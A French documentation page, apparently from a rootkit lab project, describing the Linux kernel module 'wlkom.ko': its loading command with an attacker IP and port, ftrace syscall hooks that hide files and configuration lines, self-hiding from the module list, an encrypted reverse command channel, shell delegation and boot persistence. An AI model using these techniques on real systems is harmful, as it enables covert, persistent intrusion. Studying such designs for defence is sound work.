Aller au contenu principal

Rootkit

Cette section documente wlkom.ko: son organisation, ses paramètres, ses hooks ftrace, son thread réseau, ses commandes, son masquage et sa persistance.

Point d'entrée

Chargement manuel:

sudo insmod wlkom.ko attacker_ip=192.168.100.1 command_port=4444 password='secret'

Sans mot de passe, le module refuse de démarrer. Avec un mot de passe valide, il dérive la clé de session, installe ses hooks ftrace, crée /opt/wlkom_data, démarre le thread réseau et se masque de la liste des modules.

À retenir

  • Le masquage de listings passe par getdents et getdents64.
  • Le blocage d'accès direct passe par openat, openat2, newfstatat, statx, access, faccessat, readlinkat et unlinkat.
  • Le masquage des lignes de configuration passe par read, pread64 et readv. mmap est refusé pour ces fichiers.
  • Les hooks de syscalls passent par ftrace, avec modification de registers->ip.
  • Le canal reverse est une boucle commande/réponse chiffrée, pas un TTY complet.
  • Les actions complexes sont déléguées à userland via /bin/sh et call_usermodehelper.
  • La persistance est installée par freecloude.sh, puis relancée par modules-load.d et modprobe.d.
  • Le canal TCP est chiffré dès la bannière avec une clé dérivée du mot de passe.

La page de secours quand un mot kernel devient flou est Références techniques.